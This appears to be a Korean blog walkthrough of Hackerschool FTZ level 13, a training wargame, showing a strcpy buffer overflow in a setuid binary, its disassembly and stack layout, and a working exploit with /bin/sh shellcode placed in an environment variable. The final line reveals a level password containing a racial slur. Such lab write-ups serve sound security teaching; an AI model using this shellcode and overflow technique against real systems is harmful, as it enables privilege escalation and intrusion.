M4ndU의 만두만두한 블로그

해커스쿨 FTZ [LEVEL13] 풀이입니다.

ID | level13

PW | have no clue

으로 로그인합니다.

를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,

를 이용해 힌트를 확인합시다.

login as: level13

level13@192.168.31.128's password:

[level13@ftz level13]$ ls -l

total 28

-rwsr-x---    1 level14  level13     13953 Mar  8  2003 attackme

-rw-r-----    1 root     level13       258 Mar  8  2003 hint

drwxr-xr-x    2 root     level13      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level13      4096 Jan 11  2009 tmp

[level13@ftz level13]$ cat hint

#include <stdlib.h>

main(int argc, char *argv[])

{

   long i=0x1234567;

   char buf[1024];

   setreuid( 3094, 3094 );

   if(argc > 1)

   strcpy(buf,argv[1]);

   if(i != 0x1234567) {

   printf(" Warnning: Buffer Overflow !!! \n");

   kill(0,11);

   }

}

[level13@ftz level13]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x080484a0 <main+0>:    push   ebp

0x080484a1 <main+1>:    mov    ebp,esp

0x080484a3 <main+3>:    sub    esp,0x418

0x080484a9 <main+9>:    mov    DWORD PTR [ebp-12],0x1234567

0x080484b0 <main+16>:   sub    esp,0x8

0x080484b3 <main+19>:   push   0xc16

0x080484b8 <main+24>:   push   0xc16

0x080484bd <main+29>:   call   0x8048370 <setreuid>

0x080484c2 <main+34>:   add    esp,0x10

0x080484c5 <main+37>:   cmp    DWORD PTR [ebp+8],0x1

0x080484c9 <main+41>:   jle    0x80484e5 <main+69>

0x080484cb <main+43>:   sub    esp,0x8

0x080484ce <main+46>:   mov    eax,DWORD PTR [ebp+12]

0x080484d1 <main+49>:   add    eax,0x4

0x080484d4 <main+52>:   push   DWORD PTR [eax]

0x080484d6 <main+54>:   lea    eax,[ebp-1048]

0x080484dc <main+60>:   push   eax

0x080484dd <main+61>:   call   0x8048390 <strcpy>

0x080484e2 <main+66>:   add    esp,0x10

0x080484e5 <main+69>:   cmp    DWORD PTR [ebp-12],0x1234567

0x080484ec <main+76>:   je     0x804850d <main+109>

0x080484ee <main+78>:   sub    esp,0xc

0x080484f1 <main+81>:   push   0x80485a0

0x080484f6 <main+86>:   call   0x8048360 <printf>

0x080484fb <main+91>:   add    esp,0x10

0x080484fe <main+94>:   sub    esp,0x8

0x08048501 <main+97>:   push   0xb

0x08048503 <main+99>:   push   0x0

0x08048505 <main+101>:  call   0x8048380 <kill>

0x0804850a <main+106>:  add    esp,0x10

0x0804850d <main+109>:  leave

0x0804850e <main+110>:  ret

0x0804850f <main+111>:  nop

End of assembler dump.

낮은 주소

buf[1024] [ebp-1048]

dummy[12]

i[4] [ebp-12]

dummy[8]

SFP[4]

RET[4]

높은 주소

[level13@ftz level13]$ cd tmp

[level13@ftz tmp]$ export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level13@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[level13@ftz tmp]$ gcc getenv.c -o getenv

[level13@ftz tmp]$ ./getenv

ADDR -> 0xbffffc8d

[level13@ftz tmp]$ cd ..

[level13@ftz level13]$ ./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x8d\xfc\xff\xbf"'`

sh-2.05b$ my-pass

TERM environment variable not set.

Level14 Password is "what that nigga want?".